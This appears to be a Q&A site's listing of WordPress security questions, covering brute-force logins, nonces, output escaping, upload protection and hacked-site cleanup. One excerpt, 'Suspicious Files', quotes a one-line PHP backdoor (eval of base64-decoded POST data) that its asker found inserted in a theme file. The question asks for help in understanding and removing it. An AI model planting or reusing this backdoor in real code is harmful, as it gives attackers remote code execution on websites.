Strengthening themes, plugins and core installation to prevent intrusion.

learn more… | top users | synonyms

0
votes
5answers
329 views

Prevent Brute Force Attack

I already used Limit Login Attempts wordpress plugin. Are there other ways to prevent brute force attacks? I'm worried because I saw a lot of locked out.
2
votes
1answer
2k views

Why Better WP security plugin returns 418 I'm a Teapot “error”?

I am working on the Wordpress website and all of a sudden after deploying it on the server, I started seeing a problem where some of the pages on my website return 418 I'm a Teapot as Response status ...
0
votes
1answer
116 views

Form Post results in 404 Not Found [duplicate]

I am creating a POST-able form on the front-end of Wordpress (via a shortcode). If I submit this form without any input, the form submits fine. But as soon as I enter an data in the fields and POST ...
3
votes
2answers
3k views

Password protect some uploaded files, so only logged-in users can view them

I would like to protect some uploaded files, so that they are not publicly accessible (they are not accessible without a login). I'm uploading some PDF files, and I'd like to mark some of them as ...
1
vote
2answers
270 views

Is Wordpress vulnerable to “comment posting forgery”?

I recently scanned my Wordpress site using 6scan's security scanning service. It reported a high severity vulnerability: "Wordpress comment posting forgery". Technical details from 6scan: The ...
1
vote
2answers
39 views

Secure Pages Best Practice

I am in process of writing a plugin that has front-end shortcodes that display a user's information/data. If the user is not logged in, I need to redirect to a front-end login page/form. What would ...
5
votes
1answer
4k views

simple solution for restricting access to (some) uploads/downloads

Initial Situation For a site I'm setting up I was looking into the whole field of securing uploads/downloads and restricting access to them based on user roles/capabilities. Of course I have read ...
2
votes
3answers
105 views

How can I easily verify a core or plugin update has not broken anything?

I'm looking for ways to make updating WordPress less frightening for me. I created around 30 company websites based in WP in my career and I feel somewhat responsible for them in regards to security. ...
0
votes
3answers
292 views

WP Cron doesn't save <iframe> or <object> in post body

I am using wp_cron to auto grab posts from a remote website and save them in my wp db. NOTICE! I am executing my code from my plugin, not from my template functions.php or somewhere else. I have my ...
0
votes
0answers
398 views

Core files changed - site hacked?

Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed: WordPress core file modified: wp-content/plugins/akismet/admin.php WordPress ...
1
vote
2answers
73 views

How to protect wp-admin through .htaccess?

I'd like to protect the /wp-admin/ directory at the server level. This means two logins. One through the server and another through WordPress. I believe this can be handled through .htaccess. Does ...
0
votes
3answers
97 views

Why my plugins are updating automatically?

I have a wordpress site with a few plugins. I had to make some custom changes on a plugin (not a best practice), and of course I don't want to update that plugin. But for some reason all my plugins ...
0
votes
2answers
122 views

How can I tell who changed the password?

We recently had an employee leave our company. When they left, I changed all their passwords and removed their email access etc. I also changed the password on our Wordpress site for the Admin ...
0
votes
0answers
28 views

Is [admin / admin] acceptable for all local websites?

Are there security issues with using the same credentials [admin / admin] for all client websites on a working, local server ?
0
votes
1answer
95 views

Trying to understand nature of hacking

Today we saw suddenly two files created in root folder in one of our wordpress websites - file name owp.php and gmail.html On investigating the access logs following entries were found which seem to ...
0
votes
1answer
66 views

Why does WordPress change a file's permissions?

If I set the permissions to the CSS file in my theme to 444 and then attempt to edit it in the Appearance Editor, WordPress is not prevented from editing the file and in fact change the permissions to ...
5
votes
1answer
973 views

Should I remove install.php and install-helper.php?

Is keeping wp-admin/install.php and wp-admin/install-helper.php a security leak on the newer versions of wordpress? By default file permission on those files are 644. If there is any leak, what kind ...
0
votes
1answer
204 views

Wordpress built in custom fields don't validate or sanitize? Is there a way to fix this?

I'm surprised to see that when creating post meta using the default/built in custom fields on the post editor page it allows you to enter tags like: <a>,<script>,etc. I then ...
0
votes
1answer
203 views

If I use an alternative login (e.g. CAS or other SSO) plugin, is my site protected from the recent brute force login attempts?

I've been hearing about the recent increase in brute-force WordPress login attempts due to a massive botnet attack. Everything I've read so far indicates that the attack works by just trying different ...
1
vote
2answers
787 views

Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The second in ...
0
votes
2answers
376 views

Wordfence detects change in wp-admin/includes/upgrade.php

I moved my site from hosting provider A and domain name B to hosting provider X and domain name Y. I had Wordfence in the old site. I just installed it in the new site and ran a scan. Wordfence found ...
17
votes
2answers
6k views

Increase of failed login attempts, brute force attacks?

I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day. I think that is not possible to have my site attacked by so many IP's ...
0
votes
1answer
815 views

Changing admin user id for database

Is it correct or ok to change default admin user id from 1 to any other number as done by better-wp-security plugin for wordpress for better security? what is best way for admin security. Thanks
2
votes
1answer
183 views

Protecting against malicious code in Wordpress plugin updates

One of the most popular Wordpress plugins listed on the Wordpress plugins database got malicious code injected into it recently (April 2013): ...
3
votes
2answers
123 views

Is it safe to assume that a nonce may be validated more than once?

From what I have gathered, once a nonce is generated it is valid for reuse for the next 48 hours. Is it safe to code with this in mind? I'm writing a plugin that does a bit of toing and froing with ...
0
votes
1answer
52 views

How do I allow certain users to make a certain type of post?

Here's a brief summary of how my site is setup: I have a relatively simple Intranet site. Right now I am utilizing posts as a means to provide news to users. I am also using pages. I only want ...
3
votes
1answer
128 views

Why allow overriding crucial pluggable functions wp_verify_nonce and wp_create_nonce?

Among the functions in /wp-includes/pluggable.php are the functions wp_verify_nonce and wp_create_nonce. Both functions are very important in the protection against CSRF-attacks. However, it is easy ...
1
vote
1answer
535 views

Moving wp-config.php up 2 levels

Is it possible to change a setting so that wp-config.php could be moved up two directory levels (instead of the default 1 level)? This would allow the core WP files to be moved from public_html to a ...
3
votes
1answer
220 views

Allow Profile HTML for select users

I know there are a ton of post out there about how to allow html in profiles. Most of these warn about the security risk of doing so. My thinking is there has to be a way to only allow users to use ...
0
votes
1answer
145 views

Data Validation, dynamically generated fields (select for example)

Working to secure my plugin, I'm not sure what (if anything) to do about output such as dynamically generated select fields. For example, I have a country code select generated on the backend via PHP ...
0
votes
1answer
145 views

Is it safe use wp_editor in public contact form

I'm going to make a contact form for my site, and i want to use WYSIWYG editor (wp_editor) in my form message field. Here is my question, is that safe use wp_editor in public though disable media ...
0
votes
1answer
109 views

force login loophole

I want to restrict access to my wordpress site to allow registered users only. I have tried the following plugins: Require-login Authenticator WP-lock All of them have the same problem: After ...
3
votes
1answer
651 views

When to use esc_url, esc_html, esc_attr, and friends?

Discovered esc_url today while customizing an _s theme. I understand what the function does (sanitizes the URL inside), but what I'm unsure of is the scope of its use. It makes sense to me that if ...
0
votes
3answers
231 views

How to stop direct HTTP POST to a PHP script?

I have a form on my site, created using Contact Form 7 with Captcha. Contents of the form when POSTed are being sent to a PHP script, the "action" attribute of the form is set to ...
-2
votes
2answers
1k views

Is there a secure way for the public to submit images, videos, and documents using WordPress?

I want the public to submit images, photo simulations, models, video, animation, illustrated narration, papers and other publications and multimedia. images - 30" x 42" 300 dpi . pdf format file size. ...
0
votes
2answers
960 views

Too many login attempts

Since a week or two I keep receiving the following automatic email message sent from my WordPress website, and I'd like to know if it indicates any security hole and if there's anything I can do to ...
2
votes
3answers
378 views

How brute-forcer knows that the password is cracked for target username?

There are very many brute-force attacks (mostly for 'admin' username) on WordPress sites. All these attacks are made automatically via post requests. The question 1: how brute-forcer knows that the ...
1
vote
1answer
249 views

Using esc_html with HTML purifier and CSSTidy: Overkill?

Currently my text area input (which accepts custom CSS input from a user) in the Wordpress theme options panel are sanitized by esc_html function in Wordpress ...
0
votes
2answers
39 views

Separate Out Real Users

If I look at /wp-admin/users.php I see all the users, but some have given a bogus email and never used their password. Is there some way to see who has used their password at least once? If not, ...
0
votes
1answer
165 views

Auto log in hook is requiring a page refresh

I have a simple auto log in hook that looks like the following: function auto_login() { if (!is_user_logged_in()) { //Removed some code for brevity. $user = ...
1
vote
1answer
137 views

How can I secure a WordPress blog using OpenID from a single provider?

We're about to launch an internal blog for the company I work at. Much of the blog will be available to the public, but certain posts will be for employees only. Our intranet/extranet has an OpenID ...
2
votes
0answers
159 views

Disallow file edit not preventing plugin install

I have a little demo site (admin details are listed publicly), and I've configured the wp-config to disallow file edits, so in theory no one can install a theme / plugin. ...
0
votes
1answer
76 views

Security to delete post by Admin

My code is so simple like when admin delete a post by Wordpress fucntion (PHP) and do action with jQuery <?php include('../../../../../../wp-config.php'); if(current_user_can('edit_posts')){ $id = ...
2
votes
2answers
328 views

wordfence scan warning on W3 Total Cache [closed]

I use Wordfence plugin which scans server side plugins with original plugin files to see if anything was modified by hacker/cracker. Today I got a warning and it shows these modifications on ...
1
vote
1answer
7k views

Receiving “This content cannot be displayed in a frame” error on login page

I am using a new domain for my WordPress directory in different server. When I click the meta links such "Login" or "register", I get this page: This content cannot be displayed in a frame To ...
-1
votes
1answer
182 views

Default installation permissions for wp-config.php

Recently I've noticed that many of the wordpress installations we have on our servers where being attacked and ifected by this thing ...
1
vote
1answer
411 views

Wordpress Security - How to block alternative Wordpress access

I own a self-hosted Wordpress 3.5 blog. I'm working on its security and I'm trying to prevent non-writers from accessing anything admin-ish they shouldn't. Recently I tried Better Wordpress Security, ...
-2
votes
2answers
120 views

Is this a WordPress security bug?

<?php if ( ! is_admin() ) return; echo 'You should not see this if you\'re not logged in!'; ?> If you put this in a mu-plugin, and go to your admin, e.g., example.com/wp-admin/ while you are ...
8
votes
1answer
611 views

From a security standpoint, should bloginfo() or get_bloginfo() be escaped?

I've been reviewing a lot of information about WP theme and plugin security and understand the concept that you should escape attributes and HTML values in themes and plugins. I've seen bloginfo() and ...
0
votes
1answer
51 views

Is this plugin safe to run?

This is an extract of code from a wordpress plugin. Is it safe to run despite the variables not being filtered? Also does the wpdb class filter to prevent any injection? list($email_id, $user_id, ...